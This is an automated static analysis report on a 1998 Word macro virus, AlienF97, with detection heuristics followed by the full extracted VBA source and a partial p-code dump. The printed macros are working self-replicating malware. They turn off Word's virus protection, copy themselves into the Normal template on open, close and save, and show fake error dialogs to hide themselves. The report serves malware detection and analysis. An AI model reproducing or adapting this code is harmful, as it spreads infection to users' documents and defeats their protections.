Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 e319e6a43a876a58…

MALICIOUS

Office (OLE)

86.5 KB Created: 1998-04-08 14:26:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 4b83b646534da91eb757fe2842aa3023 SHA-1: f32e2115f78d86f69f08c76a763387e507c2fde6 SHA-256: e319e6a43a876a58cf54f0bff4fabbcc59fec694e0982c6eea2c2b0d420333a2
196 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1547.001 Registry Run Keys / Startup Folder

The sample contains legacy WordBasic and VBA macros, including AutoOpen and AutoClose routines, which are indicative of older macro viruses. The script attempts to copy itself and associated forms to the Normal template, likely to establish persistence and enable further execution. The ClamAV detection 'Doc.Trojan.Af-1' further supports its malicious nature.

Heuristics 6

  • ClamAV: Doc.Trojan.Af-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Af-1
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATION
    VBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.
    Matched line in script
    Options.VirusProtection = False
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub AutoOpen()
  • Auto_Close macro low OLE_VBA_AUTOCLOSE
    Auto_Close macro
    Matched line in script
    Sub AutoClose()
  • Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUS
    OLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 30176 bytes
SHA-256: 9e27cb00990d27dd2200fcde241b0ae39dc47ddc89405718ff06a6eef7d73322
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "AlienF97"
Sub AutoClose()
Application.EnableCancelKey = wdCancelDisabled
WordBasic.DisableAutoMacros 0
Options.VirusProtection = False
On Error GoTo ErrorAC
iMacroCount = WordBasic.CountMacros(0, 0)
For i = 1 To iMacroCount
    If WordBasic.[MacroName$](i, 0) = "AlienF97" Then
        AlienInstalled = -1
    End If
Next i
If Not AlienInstalled Then
    Application.OrganizerCopy Source:=ActiveDocument.FullName, Destination:=NormalTemplate.FullName, Name:="AlienF97", Object:=wdOrganizerObjectProjectItems
    Application.OrganizerCopy Source:=ActiveDocument.FullName, Destination:=NormalTemplate.FullName, Name:="UserForm900", Object:=wdOrganizerObjectProjectItems
    Application.OrganizerCopy Source:=ActiveDocument.FullName, Destination:=NormalTemplate.FullName, Name:="UserForm999", Object:=wdOrganizerObjectProjectItems
End If
ErrorAC:
End Sub
Sub AutoOpen()
Application.EnableCancelKey = wdCancelDisabled
WordBasic.DisableAutoMacros 0
Options.VirusProtection = False
On Error GoTo ErrorAO
iMacroCount = WordBasic.CountMacros(0, 0)
For i = 1 To iMacroCount
    If WordBasic.[MacroName$](i, 0) = "AlienF97" Then
        AlienInstalled = -1
    End If
Next i
If Not AlienInstalled Then
    Application.OrganizerCopy Source:=ActiveDocument.FullName, Destination:=NormalTemplate.FullName, Name:="AlienF97", Object:=wdOrganizerObjectProjectItems
    Application.OrganizerCopy Source:=ActiveDocument.FullName, Destination:=NormalTemplate.FullName, Name:="UserForm900", Object:=wdOrganizerObjectProjectItems
    Application.OrganizerCopy Source:=ActiveDocument.FullName, Destination:=NormalTemplate.FullName, Name:="UserForm999", Object:=wdOrganizerObjectProjectItems
End If
Dim MyDate, MyWeek, Longueur
Nom$ = ActiveDocument.Name
Longueur = Len(Nom$)
Randomize
a$ = Int(Rnd * 12) + 1
MyDate = Date
D$ = Mid(MyDate, 1, 5)
MyWeek = WeekDay(MyDate, vbMonday)
If D$ = "01/08" Then
Select Case a$
    Case 1 To 6
        MsgBox "Quelques Années de Survie...", Title:="AlienF97"
        Application.Quit SaveChanges:=wdDoNotSaveChanges
End Select
End If
If MyWeek = "7" Then
Select Case a$
    Case 7 To 12
        MsgBox "C'est Dimanche & J'ai l'intention de me relaxer", Title:="AlienF97"
        Application.Quit SaveChanges:=wdDoNotSaveChanges
End Select
End If

If Longueur < 9 Then
    MsgBox "Longueur De Noms De Fichier Déjà Utilisé", Title:="Tip de la part d'AlienF97"
End If

If (a$ = "1") And (MyWeek <> "7") And (D$ <> "01/08") Then
    MsgBox "N'ouvrez Jamais d'Autres Fichiers !", Title:="AlienF97"
End If
If (a$ = "2") And (MyWeek <> "7") And (D$ <> "01/08") Then
    MsgBox "Ne Faîtes Pas Confiance à Un Alien !", Title:="AlienF97"
End If
If (a$ = "3") And (MyWeek <> "7") And (D$ <> "01/08") Then
    MsgBox "Ne Croyez Pas Tous Les Tips!", Title:="AlienF97"
End If
If (a$ = "4") And (MyWeek <> "7") And (D$ <> "01/08") Then
    MsgBox "Sauvegarder Souvent Vos Données.", Title:="AlienF97"
End If
If (a$ = "5") And (MyWeek <> "7") And (D$ <> "01/08") Then
    MsgBox "Trois Acclamations pour AlienF97." & Chr$(13) & "Hip Hip Hourra !", Title:="AlienF97"
End If
If (a$ = "6") And (MyWeek <> "7") And (D$ <> "01/08") Then
    MsgBox "Je Reviendrai !", Title:="AlienF97"
End If
If (a$ = "7") And (MyWeek <> "7") And (D$ <> "01/08") Then
    MsgBox "Salut Beauté !", Title:="AlienF97"
End If
If (a$ = "8") And (MyWeek <> "7") And (D$ <> "01/08") Then
    MsgBox "Tu Me Facines.", Title:="AlienF97"
End If
If (a$ = "9") And (MyWeek <> "7") And (D$ <> "01/08") Then
    MsgBox "Ne Regarde Pas Trop Loin !", Title:="AlienF97"
End If
If (a$ = "10") And (MyWeek <> "7") And (D$ <> "01/08") Then
    MsgBox "Le Virus 'AlienF97' Est Arrivé !", Title:="AlienF97"
End If
If (a$ = "11") And (MyWeek <> "7") And (D$ <> "01/08") Then
    MsgBox "AlienF97 Est En Vie...", Title:="AlienF97"
End If
ErrorAO:
End Sub
Sub FileSaveAs()
Application.EnableCancelKey = wdCancelDisabled
WordBasic.DisableAutoMacros 0
Options.VirusProtection = False
On Error GoTo ErrorFSA
    Dialogs(wdDialogFileSaveAs).Show
        If (ActiveDocument.SaveFormat = wdFormatDocument) Or (ActiveDocument.SaveFormat = wdFormatTemplate) Then
            ActiveDocument.SaveAs FileFormat:=wdFormatTemplate
        End If
        Application.OrganizerCopy Source:=NormalTemplate.FullName, Destination:=NormalTemplate.FullName, Name:="AlienF97", Object:=wdOrganizerObjectProjectItems
        Application.OrganizerCopy Source:=NormalTemplate.FullName, Destination:=NormalTemplate.FullName, Name:="UserForm900", Object:=wdOrganizerObjectProjectItems
        Application.OrganizerCopy Source:=NormalTemplate.FullName, Destination:=NormalTemplate.FullName, Name:="UserForm999", Object:=wdOrganizerObjectProjectItems
    ActiveDocument.Save
ErrorFSA:
End Sub
Sub FileTemplates()
Application.EnableCancelKey = wdCancelDisabled
WordBasic.DisableAutoMacros 0
Options.VirusProtection = False
On Error GoTo ErrorFT
    UserForm900.Show
ErrorFT:
End Sub
Sub ToolsMacro()
Application.EnableCancelKey = wdCancelDisabled
WordBasic.DisableAutoMacros 0
Options.VirusProtection = False
On Error GoTo ErrorTM
    UserForm999.Show
ErrorTM:
End Sub
Sub ViewVBCode()
Application.EnableCancelKey = wdCancelDisabled
WordBasic.DisableAutoMacros 0
Options.VirusProtection = False
On Error GoTo ErrorVVBC
    MsgBox "Ce programme a réalisé une opération illégale et va être interrompu.", vbCritical, "Microsoft Word"
ErrorVVBC:
End Sub

Attribute VB_Name = "UserForm900"
Attribute VB_Base = "0{ADF33537-CEFD-11D1-82AE-343705C10000}{ADF33526-CEFD-11D1-82AE-343705C10000}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False




Private Sub CommandButton1_Click()
MsgBox "Ce programme a réalisé une opération illégale et va être interrompu.", vbCritical, Title:="Microsoft Word"
Unload UserForm900
End Sub

Private Sub CommandButton2_Click()
MsgBox "Ce programme a réalisé une opération illégale et va être interrompu.", vbCritical, Title:="Microsoft Word"
Unload UserForm900
End Sub

Private Sub CommandButton3_Click()
MsgBox "Ce programme a réalisé une opération illégale et va être interrompu.", vbCritical, Title:="Microsoft Word"
Unload UserForm900
End Sub

Private Sub CommandButton4_Click()
MsgBox "Ce programme a réalisé une opération illégale et va être interrompu.", vbCritical, Title:="Microsoft Word"
Unload UserForm900
End Sub

Private Sub CommandButton5_Click()
MsgBox "Ce programme a réalisé une opération illégale et va être interrompu.", vbCritical, Title:="Microsoft Word"
Unload UserForm900
End Sub

Private Sub CommandButton6_Click()
Unload UserForm900
End Sub

Private Sub UserForm_Initialize()
    TextBox1.Text = NormalTemplate.Name
    CommandButton2.Enabled = False
    CommandButton3.Enabled = False
    CommandButton4.Enabled = False
End Sub

Attribute VB_Name = "UserForm999"
Attribute VB_Base = "0{ADF3353B-CEFD-11D1-82AE-343705C10000}{ADF33530-CEFD-11D1-82AE-343705C10000}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False








Private Sub ListBox1_Click()
    If ListBox1.Selected(0) = True Then
        CommandButton1.Enabled = True
        CommandButton3.Enabled = True
        CommandButton4.Enabled = True
        CommandButton6.Enabled = True
    ElseIf ListBox1.Selected(1) = True Then
        CommandButton1.Enabled = True
        CommandButton3.Enabled = True
        CommandButton4.Enabled = True
        CommandButton6.Enabled = True
    Else
        CommandButton1.Enabled = False
        CommandButton3.Enabled = False
        CommandButton4.Enabled = False
        CommandButton6.Enabled = False
    End If
End Sub

Private Sub UserForm_Initialize()
    ComboBox1.AddItem "Commande Word"
    ComboBox1.AddItem "Tous les modèles actifs"
    ComboBox1.AddItem "Normal.dot (modèle global)"
    ComboBox1.AddItem WordBasic.WindowName$()
    CommandButton1.Enabled = False
    CommandButton3.Enabled = False
    TextBox2.Text = "Macro créée le " & Date & " par " & Application.UserName
End Sub

Private Sub CommandButton1_Click()
MsgBox "Ce programme a réalisé une opération illégale et va être interrompu.", vbCritical, "Microsoft Word"
Unload UserForm999
End Sub
Private Sub CommandButton2_Click()
Unload UserForm999
End Sub

Private Sub CommandButton3_Click()
MsgBox "Ce programme a réalisé une opération illégale et va être interrompu.", vbCritical, "Microsoft Word"
Unload UserForm999
End Sub

Private Sub CommandButton4_Click()
MsgBox "Ce programme a réalisé une opération illégale et va être interrompu.", vbCritical, "Microsoft Word"
Unload UserForm999
End Sub

Private Sub CommandButton5_Click()
MsgBox "Ce programme a réalisé une opération illégale et va être interrompu.", vbCritical, "Microsoft Word"
Unload UserForm999
End Sub

Private Sub CommandButton6_Click()
MsgBox "Ce programme a réalisé une opération illégale et va être interrompu.", vbCritical, "Microsoft Word"
Unload UserForm999
End Sub

Private Sub CommandButton7_Click()
MsgBox "Ce programme a réalisé une opération illégale et va être interrompu.", vbCritical, "Microsoft Word"
Unload UserForm999
End Sub
Private Sub ScrollBar1_Change()
MsgBox "Ce programme a réalisé une opération illégale et va être interrompu.", vbCritical, "Microsoft Word"
Unload UserForm999
End Sub


' Processing file: /tmp/qstore__q0vk203
' ===============================================================================
' Module streams:
' Macros/VBA/ThisDocument - 1190 bytes
' Macros/VBA/AlienF97 - 12313 bytes
' Line #0:
' 	FuncDefn (Sub AutoClose())
' Line #1:
' 	Ld wdCancelDisabled 
' 	Ld Application 
' 	MemSt EnableCancelKey 
' Line #2:
' 	LitDI2 0x0000 
' 	Ld WordBasic 
' 	ArgsMemCall DisableAutoMacros 0x0001 
' Line #3:
' 	LitVarSpecial (False)
' 	Ld Options 
' 	MemSt VirusProtection 
' Line #4:
' 	OnError ErrorAC 
' Line #5:
' 	LitDI2 0x0000 
' 	LitDI2 0x0000 
' 	Ld WordBasic 
' 	ArgsMemLd CountMacros 0x0002 
' 	St iMacroCount 
' Line #6:
' 	StartForVariable 
' 	Ld i 
' 	EndForVariable 
' 	LitDI2 0x0001 
' 	Ld iMacroCount 
' 	For 
' Line #7:
' 	Ld i 
' 	LitDI2 0x0000 
' 	Ld WordBasic 
' 	ArgsMemLd [MacroName$] 0x0002 
' 	LitStr 0x0008 "AlienF97"
' 	Eq 
' 	IfBlock 
' Line #8:
' 	LitDI2 0x0001 
' 	UMi 
' 	St AlienInstalled 
' Line #9:
' 	EndIfBlock 
' Line #10:
' 	StartForVariable 
' 	Ld i 
' 	EndForVariable 
' 	NextVar 
' Line #11:
' 	Ld AlienInstalled 
' 	Not 
' 	IfBlock 
' Line #12:
' 	Ld ActiveDocument 
' 	MemLd FullName 
' 	ParamNamed Source 
' 	Ld NormalTemplate 
' 	MemLd FullName 
' 	ParamNamed Destination 
' 	LitStr 0x0008 "AlienF97"
' 	ParamNamed New 
' 	Ld wdOrganizerObjectProjectItems 
' 	ParamNamed On 
' 	Ld Application 
' 	ArgsMemCall OrganizerCopy 0x0004 
' Line #13:
' 	Ld ActiveDocument 
' 	MemLd FullName 
' 	ParamNamed Source 
' 	Ld NormalTemplate 
' 	MemLd FullName 
' 	ParamNamed Destination 
' 	LitStr 0x000B "UserForm900"
' 	ParamNamed New 
' 	Ld wdOrganizerObjectProjectItems 
' 	ParamNamed On 
' 	Ld Application 
' 	ArgsMemCall OrganizerCopy 0x0004 
' Line #14:
' 	Ld ActiveDocument 
' 	MemLd FullName 
' 	ParamNamed Source 
' 	Ld NormalTemplate 
' 	MemLd FullName 
' 	ParamNamed Destination 
' 	LitStr 0x000B "UserForm999"
' 	ParamNamed New 
' 	Ld wdOrganizerObjectProjectItems 
' 	ParamNamed On 
' 	Ld Application 
' 	ArgsMemCall OrganizerCopy 0x0004 
' Line #15:
' 	EndIfBlock 
' Line #16:
' 	Label ErrorAC 
' Line #17:
' 	EndSub 
' Line #18:
' 	FuncDefn (Sub AutoOpen())
' Line #19:
' 	Ld wdCancelDisabled 
' 	Ld Application 
' 	MemSt EnableCancelKey 
' Line #20:
' 	LitDI2 0x0000 
' 	Ld WordBasic 
' 	ArgsMemCall DisableAutoMacros 0x0001 
' Line #21:
' 	LitVarSpecial (False)
' 	Ld Options 
' 	MemSt VirusProtection 
' Line #22:
' 	OnError ErrorAO 
' Line #23:
' 	LitDI2 0x0000 
' 	LitDI2 0x0000 
' 	Ld WordBasic 
' 	ArgsMemLd CountMacros 0x0002 
' 	St iMacroCount 
' Line #24:
' 	StartForVariable 
' 	Ld i 
' 	EndForVariable 
' 	LitDI2 0x0001 
' 	Ld iMacroCount 
' 	For 
' Line #25:
' 	Ld i 
' 	LitDI2 0x0000 
' 	Ld WordBasic 
' 	ArgsMemLd [MacroName$] 0x0002 
' 	LitStr 0x0008 "AlienF97"
' 	Eq 
' 	IfBlock 
' Line #26:
' 	LitDI2 0x0001 
' 	UMi 
' 	St AlienInstalled 
' Line #27:
' 	EndIfBlock 
' Line #28:
' 	StartForVariable 
' 	Ld i 
' 	EndForVariable 
' 	NextVar 
' Line #29:
' 	Ld AlienInstalled 
' 	Not 
' 	IfBlock 
' Line #30:
' 	Ld ActiveDocument 
' 	MemLd FullName 
' 	ParamNamed Source 
' 	Ld NormalTemplate 
' 	MemLd FullName 
' 	ParamNamed Destination 
' 	LitStr 0x0008 "AlienF97"
' 	ParamNamed New 
' 	Ld wdOrganizerObjectProjectItems 
' 	ParamNamed On 
' 	Ld Application 
' 	ArgsMemCall OrganizerCopy 0x0004 
' Line #31:
' 	Ld ActiveDocument 
' 	MemLd FullName 
' 	ParamNamed Source 
' 	Ld NormalTemplate 
' 	MemLd FullName 
' 	ParamNamed Destination 
' 	LitStr 0x000B "UserForm900"
' 	ParamNamed New 
' 	Ld wdOrganizerObjectProjectItems 
' 	ParamNamed On 
' 	Ld Application 
' 	ArgsMemCall OrganizerCopy 0x0004 
' Line #32:
' 	Ld ActiveDocument 
' 	MemLd FullName 
' 	ParamNamed Source 
' 	Ld NormalTemplate 
' 	MemLd FullName 
' 	ParamNamed Destination 
' 	LitStr 0x000B "UserForm999"
' 	ParamNamed New 
' 	Ld wdOrganizerObjectProjectItems 
' 	ParamNamed On 
' 	Ld Application 
' 	ArgsMemCall OrganizerCopy 0x0004 
' Line #33:
' 	EndIfBlock 
' Line #34:
' 	Dim 
' 	VarDefn MyDate
' 	VarDefn MyWeek
' 	VarDefn Longueur
' Line #35:
' 	Ld ActiveDocument 
' 	MemLd New 
' 	St Nom$ 
' Line #36:
' 	Ld Nom$ 
' 	FnLen 
' 	St Longueur 
' Line #37:
' 	ArgsCall Read 0x0000 
' Line #38:
' 	Ld Rnd 
' 	LitDI2 0x000C 
' 	Mul 
' 	FnInt 
' 	LitDI2 0x0001 
' 	Add 
' 	St a$ 
' Line #39:
' 	Ld Date 
' 	St MyDate 
' Line #40:
' 	Ld MyDate 
' 	LitDI2 0x0001 
' 	LitDI2 0x0005 
' 	ArgsLd Mid$ 0x0003 
' 	St D$ 
' Line #41:
' 	Ld MyDate 
' 	Ld vbMonday 
' 	ArgsLd WeekDay 0x0002 
' 	St MyWeek 
' Line #42:
' 	Ld D$ 
' 	LitStr 0x0005 "01/08"
' 	Eq 
' 	IfBlock 
' Line #43:
' 	Ld a$ 
' 	SelectCase 
' Line #44:
' 	LitDI2 0x0001 
' 	LitDI2 0x0006 
' 	CaseTo 
' 	CaseDone 
' Line #45:
' 	LitStr 0x001C "Quelques Années de Survie..."
' 	LitStr 0x0008 "AlienF97"
' 	ParamNamed Title 
' 	ArgsCall MsgBox 0x0002 
' Line #46:
' 	Ld wdDoNotSaveChanges 
' 	ParamNamed SaveChanges 
' 	Ld Application 
' 	ArgsMemCall Quit 0x0001 
' Line #47:
' 	EndSelect 
' Line #48:
' 	EndIfBlock 
' Line #49:
' 	Ld MyWeek 
' 	LitStr 0x0001 "7"
' 	Eq 
' 	IfBlock 
' Line #50:
' 	Ld a$ 
' 	SelectCase 
' Line #51:
' 	LitDI2 0x0007 
' 	LitDI2 0x000C 
' 	CaseTo 
' 	CaseDone 
' Line #52:
' 	LitStr 0x002F "C'est Dimanche & J'ai l'intention de me relaxer"
' 	LitStr 0x0008 "AlienF97"
' 	ParamNamed Title 
' 	ArgsCall MsgBox 0x0002 
' Line #53:
' 	Ld wdDoNotSaveChanges 
' 	ParamNamed SaveChanges 
' 	Ld Application 
' 	ArgsMemCall Quit 0x0001 
' Line #54:
' 	EndSelect 
' Line #55:
' 	EndIfBlock 
' Line #56:
' Line #57:
' 	Ld Longueur 
' 	LitDI2 0x0009 
' 	Lt 
' 	IfBlock 
' Line #58:
' 	LitStr 0x0028 "Longueur De Noms De Fichier Déjà Utilisé"
' 	LitStr 0x0019 "Tip de la part d'AlienF97"
' 	ParamNamed Title 
' 	ArgsCall MsgBox 0x0002 
' Line #59:
' 	EndIfBlock 
' Line #60:
' Line #61:
' 	Ld a$ 
' 	LitStr 0x0001 "1"
' 	Eq 
' 	Paren 
' 	Ld MyWeek 
' 	LitStr 0x0001 "7"
' 	Ne 
' 	Paren 
' 	And 
' 	Ld D$ 
' 	LitStr 0x0005 "01/08"
' 	Ne 
' 	Paren 
' 	And 
' 	IfBlock 
' Line #62:
' 	LitStr 0x0023 "N'ouvrez Jamais d'Autres Fichiers !"
' 	LitStr 0x0008 "AlienF97"
' 	ParamNamed Title 
' 	ArgsCall MsgBox 0x0002 
' Line #63:
' 	EndIfBlock 
' Line #64:
' 	Ld a$ 
' 	LitStr 0x0001 "2"
' 	Eq 
' 	Paren 
' 	Ld MyWeek 
' 	LitStr 0x0001 "7"
' 	Ne 
' 	Paren 
' 	And 
' 	Ld D$ 
' 	LitStr 0x0005 "01/08"
' 	Ne 
' 	Paren 
' 	And 
' 	IfBlock 
' Line #65:
' 	LitStr 0x0024 "Ne Faîtes Pas Confiance à Un Alien !"
' 	LitStr 0x0008 "AlienF97"
' 	ParamNamed Title 
' 	ArgsCall MsgBox 0x0002 
' Line #66:
' 	EndIfBlock 
' Line #67:
' 	Ld a$ 
' 	LitStr 0x0001 "3"
' 	Eq 
' 	Paren 
' 	Ld MyWeek 
' 	LitStr 0x0001 "7"
' 	Ne 
' 	Paren 
' 	And 
' 	Ld D$ 
' 	LitStr 0x0005 "01/08"
' 	Ne 
' 	Paren 
' 	And 
' 	IfBlock 
' Line #68:
' 	LitStr 0x001C "Ne Croyez Pas Tous Les Tips!"
' 	LitStr 0x0008 "AlienF97"
' 	ParamNamed Title 
' 	ArgsCall MsgBox 0x0002 
' Line #69:
' 	EndIfBlock 
' Line #70:
' 	Ld a$ 
' 	LitStr 0x0001 "4"
' 	Eq 
' 	Paren 
' 	Ld MyWeek 
' 	LitStr 0x0001 "7"
' 	Ne 
' 	Paren 
' 	And 
' 	Ld D$ 
' 	LitStr 0x0005 "01/08"
' 	Ne 
' 	Paren 
' 	And 
' 	IfBlock 
' Line #71:
' 	LitStr 0x0020 "Sauvegarder Souvent Vos Données."
' 	LitStr 0x0008 "AlienF97"
' 	ParamNamed Title 
' 	ArgsCall MsgBox 0x0002 
' Line #72:
' 	EndIfBlock 
' Line #73:
' 	Ld a$ 
' 	LitStr 0x0001 "5"
' 	Eq 
' 	Paren 
' 	Ld MyWeek 
' 	LitStr 0x0001 "7"
' 	Ne 
' 	Paren 
' 	And 
' 	Ld D$ 
' 	LitStr 0x0005 "01/08"
' 	Ne 
' 	Paren 
' 	And 
' 	IfBlock 
' Line #74:
' 	LitStr 0x0021 "Trois Acclamations pour AlienF97."
' 	LitDI2 0x000D 
' 	ArgsLd Chr$ 0x0001 
' 	Concat 
' 	LitStr 0x0010 "Hip Hip Hourra !"
' 	Concat 
' 	LitStr 0x0008 "AlienF97"
' 	ParamNamed Title 
' 	ArgsCall MsgBox 0x0002 
' Line #75:
' 	EndIfBlock 
' Line #76:
' 	Ld a$ 
' 	LitStr 0x0001 "6"
' 	Eq 
' 	Paren 
' 	Ld MyWeek 
' 	LitStr 0x0001 "7"
' 	Ne 
' 	Paren 
' 	And 
' 	Ld D$ 
' 	LitStr 0x0005 "01/08"
' 	Ne 
' 	Paren 
' 	And 
' 	IfBlock 
' Line #77:
' 	LitStr 0x000F "Je Reviendrai !"
' 	LitStr 0x0008 "AlienF97"
' 	ParamNamed Title 
' 	ArgsCall MsgBox 0x0002 
' Line #78:
' 	EndIfBlock 
' Line #79:
' 	Ld a$ 
' 	LitStr 0x0001 "7"
' 	Eq 
' 	Paren 
' 	Ld MyWeek 
' 	LitStr 0x0001 "7"
' 	Ne 
' 	Paren 
' 	And 
' 	Ld D$ 
' 	LitStr 0x0005 "01/08"
' 	Ne 
' 	Paren 
' 	And 
' 	IfBlock 
' Line #80:
' 	LitStr 0x000E "Salut Beauté !"
' 	LitStr 0x0008 "AlienF97"
' 	ParamNamed Title 
' 	ArgsCall MsgBox 0x0002 
' Line #81:
' 	EndIfBlock 
' Line #82:
' 	Ld a$ 
' 	LitStr 0x0001 "8"
' 	Eq 
' 	Paren 
' 	Ld MyWeek 
' 	LitStr 0x0001 "7"
' 	Ne 
' 	Paren 
' 	And 
' 	Ld D$ 
' 	LitStr 0x0005 "01/08"
' 	Ne 
' 	Paren 
' 	And 
' 	IfBlock 
' Line #83:
' 	LitStr 0x000E "Tu Me Facines."
' 	LitStr 0x0008 "AlienF97"
' 	ParamNamed Title 
' 	ArgsCall MsgBox 0x0002 
' Line #84:
' 	EndIfBlock 
' Line #85:
' 	Ld a$ 
' 	LitStr 0x0001 "9"
' 	Eq 
' 	Paren 
' 	Ld MyWeek 
' 	LitStr 0x0001 "7"
' 	Ne 
' 	Paren 
' 	And 
' 	Ld D$ 
' 	LitStr 0x0005 "01/08"
' 	Ne 
' 	Paren 
' 	And 
' 	IfBlock 
' Line #86:
' 	LitStr 0x001A "Ne Regarde Pas Trop Loin !"
' 	LitStr 0x0008 "AlienF97"
' 	ParamNamed Title 
' 	ArgsCall MsgBox 0x0002 
' Line #87:
' 	EndIfBlock 
' Line #88:
' 	Ld a$ 
' 	LitStr 0x0002 "10"
' 	Eq 
' 	Paren 
' 	Ld MyWeek 
' 	LitStr 0x0001 "7"
' 	Ne 
' 	Paren 
' 	And 
' 	Ld D$ 
' 	LitStr 0x0005 "01/08"
' 	Ne 
' 	Paren 
' 	And 
' 	IfBlock 
' Line #89:
' 	LitStr 0x0020 "Le Virus 'AlienF97' Est Arrivé !"
' 	LitStr 0x0008 "AlienF97"
' 	ParamNamed Title 
' 	ArgsCall MsgBox 0x0002 
' Line #90:
' 	EndIfBlock 
' Line #91:
' 	Ld a$ 
' 	LitStr 0x0002 "11"
' 	Eq 
' 	Paren 
' 	Ld MyWeek 
' 	LitStr 0x0001 "7"
' 	Ne 
' 	Paren 
' 	And 
' 	Ld D$ 
' 	LitStr 0x0005 "01/08"
' 	Ne 
' 	Paren 
' 	And 
' 	IfBlock 
' Line #92:
' 	LitStr 0x0016 "AlienF97 Est En Vie..."
' 	LitStr 0x0008 "AlienF97"
' 	ParamNamed Title 
' 	ArgsCall MsgBox 0x0002 
' Line #93:
' 	EndIfBlock 
' Line #94:
' 	Label ErrorAO 
' Line #95:
' 	EndSub 
' Line #96:
' 	FuncDefn (Sub FileSaveAs())
' Line #97:
' 	Ld wdCancelDisabled 
' 	Ld Application 
' 	MemSt EnableCancelKey 
' Line #98:
' 	LitDI2 0x0000 
' 	Ld WordBasic 
' 	ArgsMemCall DisableAutoMacros 0x0001 
' Line #99:
' 	LitVarSpecial (False)
' 	Ld Options 
' 	MemSt VirusProtection 
' Line #100:
' 	OnError ErrorFSA 
' Line #101:
' 	Ld wdDialogFileSaveAs 
' 	ArgsLd Dialogs 0x0001 
' 	ArgsMemCall Show 0x0000 
' Line #102:
' 	Ld ActiveDocument 
' 	MemLd SaveFormat 
' 	Ld wdFormatDocument 
' 	Eq 
' 	Paren 
' 	Ld ActiveDocument 
' 	MemLd SaveFormat 
' 	Ld wdFormatTemplate 
' 	Eq 
' 	Paren 
' 	Or 
' 	IfBlock 
' Line #103:
' 	Ld wdFormatTemplate 
' 	ParamNamed FileFormat 
' 	Ld ActiveDocument 
' 	ArgsMemCall SaveAs 0x0001 
' Line #104:
' 	EndIfBlock 
' Line #105:
' 	Ld NormalTemplate 
' 	MemLd FullName 
' 	ParamNamed Source 
' 	Ld NormalTemplate 
' 	MemLd FullName 
' 	ParamNamed Destination 
' 	LitStr 0x0008 "AlienF97"
' 	ParamNamed New 
' 	Ld wdOrganizerObjectProjectItems 
' 	ParamNamed On 
' 	Ld Application 
' 	ArgsMemCall OrganizerCopy 0x0004 
' Line #106:
' 	Ld NormalTemplate 
' 	MemLd FullName 
' 	ParamNamed Source 
' 	Ld NormalTemplate 
' 	MemLd FullName 
' 	ParamNamed Destination 
' 	LitStr 0x000B "UserForm900"
' 	ParamNamed New 
' 	Ld wdOrganizerObjectProjectItems 
' 	ParamNamed On 
' 	Ld Application 
' 	ArgsMemCall OrganizerCopy 0x0004 
' Line #107:
' 	Ld NormalTemplate 
' 	MemLd FullName 
' 	ParamNamed Source 
' 	Ld NormalTemplate 
' 	MemLd FullName 
' 	ParamNamed Destination 
' 	LitStr 0x000B "UserForm999"
' 	ParamNamed New 
' 	Ld wdOrganizerObjectProjectItems 
' 	ParamNamed On 
' 	Ld Application 
' 	ArgsMemCall OrganizerCopy 0x0004 
' Line #108:
' 	Ld ActiveDocument 
' 	ArgsMemCall Save 0x0000 
' Line #109:
' 	Label ErrorFSA 
' Line #110:
' 	EndSub 
' Line #111:
' 	FuncDefn (Sub FileTemplates())
' Line #112:
' 	Ld wdCancelDisabled 
' 	Ld Application 
' 	MemSt EnableCancelKey 
' Line #113:
' 	LitDI2 0x0000 
' 	Ld WordBasic 
' 	ArgsMemCall DisableAutoMacros 0x0001 
' Line #114:
' 	LitVarSpecial (False)
' 	Ld Options 
' 	MemSt VirusProtection 
' Line #115:
' 	OnError ErrorFT 
' Line #116:
' 	Ld UserForm900 
' 	ArgsMemCall Show 0x0000 
' Line #117:
' 	Label ErrorFT 
' Line #118:
' 	EndSub 
' Line #119:
' 	FuncDefn (Sub ToolsMacro())
' Line #120:
' 	Ld wdCancelDisabled 
' 	Ld Application 
' 	MemSt EnableCancelKey 
' Line #121:
' 	LitDI2 0x0000 
' 	Ld WordBasic 
' 	ArgsMemCall DisableAutoMacros 0x0001 
' Line #122:
' 	LitVarSpecial (False)
' 	Ld Options 
' 	MemSt VirusProtection 
' Line #123:
' 	OnError ErrorTM 
' Line #124:
' 	Ld UserForm999 
' 	ArgsMemCall Show 0x0000 
' Line #125:
' 	Label ErrorTM 
' Line #126:
' 	EndSub 
' Line #127:
' 	FuncDefn (Sub ViewVBCode())
' Line #128:
' 	Ld wdCancelDisabled 
' 	Ld Application 
' 	MemSt EnableCancelKey 
' Line #129:
' 	LitDI2 0x0000 
' 	Ld WordBasic 
' 	ArgsMemCall DisableAutoMacros 0x0001 
' Line #130:
' 	LitVarSpecial (False)
' 	Ld Options 
' 	MemSt VirusProtection 
' Line #131:
' 	OnError ErrorVVBC 
' Line #132:
